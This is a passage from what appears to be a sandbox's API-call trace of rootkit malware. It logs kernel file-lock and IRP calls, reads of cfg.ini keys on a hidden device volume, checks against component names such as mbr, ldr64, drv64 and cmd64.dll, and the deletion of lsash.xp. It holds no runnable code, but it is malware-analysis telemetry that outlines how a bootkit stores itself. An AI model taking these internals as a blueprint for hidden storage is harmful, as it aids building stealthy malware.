[0127.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.628] KeLeaveCriticalRegion () [0127.628] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.628] KeEnterCriticalRegion () [0127.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.628] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.628] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.628] KeLeaveCriticalRegion () [0127.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.628] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.628] KeEnterCriticalRegion () [0127.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.628] ExFreePoolWithTag (P=0xfffffa8003bfb8c0, Tag=0x0) [0127.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.628] KeLeaveCriticalRegion () [0127.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.628] ReleaseMutex (hMutex=0xf0) returned 1 [0127.628] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.628] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.628] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.628] KeEnterCriticalRegion () [0127.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.628] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.628] IdePortDispatch () returned 0x103 [0127.628] KeWaitForMutexObject () returned 0x0 [0127.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.629] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.629] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.629] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.629] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.629] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.629] KeLeaveCriticalRegion () [0127.629] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.629] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.629] KeEnterCriticalRegion () [0127.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.629] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.629] KeLeaveCriticalRegion () [0127.629] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.629] KeEnterCriticalRegion () [0127.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.629] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.629] IdePortDispatch () returned 0x103 [0127.629] KeWaitForMutexObject () returned 0x0 [0127.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.629] KeLeaveCriticalRegion () [0127.629] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.629] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.629] KeEnterCriticalRegion () [0127.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b76000 [0127.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.629] IdePortDispatch () returned 0x103 [0127.630] KeWaitForMutexObject () returned 0x0 [0127.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.630] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.630] IdePortDispatch () returned 0x103 [0127.630] KeWaitForMutexObject () returned 0x0 [0127.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.630] KeLeaveCriticalRegion () [0127.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.630] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.631] KeEnterCriticalRegion () [0127.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.631] KeLeaveCriticalRegion () [0127.631] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.631] KeEnterCriticalRegion () [0127.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.631] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.631] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.631] KeLeaveCriticalRegion () [0127.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.631] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.631] KeEnterCriticalRegion () [0127.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.631] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.631] KeLeaveCriticalRegion () [0127.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.631] ReleaseMutex (hMutex=0xf0) returned 1 [0127.631] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.631] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.631] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.631] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.631] KeEnterCriticalRegion () [0127.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.631] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.631] IdePortDispatch () returned 0x103 [0127.631] KeWaitForMutexObject () returned 0x0 [0127.632] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.632] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.632] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.632] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.632] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.632] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.632] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.632] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.632] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.632] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.632] KeLeaveCriticalRegion () [0127.632] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.632] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.632] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.632] KeEnterCriticalRegion () [0127.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.632] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.632] IdePortDispatch () returned 0x103 [0127.632] KeWaitForMutexObject () returned 0x0 [0127.632] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.632] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.632] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.632] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.632] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.632] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.632] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.632] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.632] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.632] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.632] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.633] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.633] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.633] KeLeaveCriticalRegion () [0127.633] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.633] ReleaseMutex (hMutex=0x100) returned 1 [0127.633] Sleep (dwMilliseconds=0x2bf20) [0127.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f464a10, dwHighDateTime=0x1d24fa4)) [0127.639] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.639] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.639] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.639] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.639] KeEnterCriticalRegion () [0127.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.639] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.639] IdePortDispatch () returned 0x103 [0127.639] KeWaitForMutexObject () returned 0x0 [0127.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.640] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.640] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.640] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.640] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.640] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb310 [0127.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.640] KeLeaveCriticalRegion () [0127.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.640] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.640] KeEnterCriticalRegion () [0127.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.640] KeLeaveCriticalRegion () [0127.640] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.640] KeEnterCriticalRegion () [0127.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.640] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.640] IdePortDispatch () returned 0x103 [0127.640] KeWaitForMutexObject () returned 0x0 [0127.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.640] KeLeaveCriticalRegion () [0127.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.640] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.640] KeEnterCriticalRegion () [0127.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.641] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b79000 [0127.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.641] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.641] IdePortDispatch () returned 0x103 [0127.641] KeWaitForMutexObject () returned 0x0 [0127.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.641] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.641] IdePortDispatch () returned 0x103 [0127.641] KeWaitForMutexObject () returned 0x0 [0127.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.641] KeLeaveCriticalRegion () [0127.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.642] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.642] KeEnterCriticalRegion () [0127.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.642] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.642] KeLeaveCriticalRegion () [0127.642] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.642] KeEnterCriticalRegion () [0127.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.642] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.642] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.642] KeLeaveCriticalRegion () [0127.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.642] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.642] KeEnterCriticalRegion () [0127.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.642] ExFreePoolWithTag (P=0xfffffa8003bfb310, Tag=0x0) [0127.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.642] KeLeaveCriticalRegion () [0127.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.642] ReleaseMutex (hMutex=0xf0) returned 1 [0127.642] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.642] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.642] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.642] KeEnterCriticalRegion () [0127.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.642] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.642] IdePortDispatch () returned 0x103 [0127.642] KeWaitForMutexObject () returned 0x0 [0127.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.643] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.643] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.643] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.643] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.643] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.643] KeLeaveCriticalRegion () [0127.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.643] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.643] KeEnterCriticalRegion () [0127.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.643] KeLeaveCriticalRegion () [0127.643] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.643] KeEnterCriticalRegion () [0127.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.643] 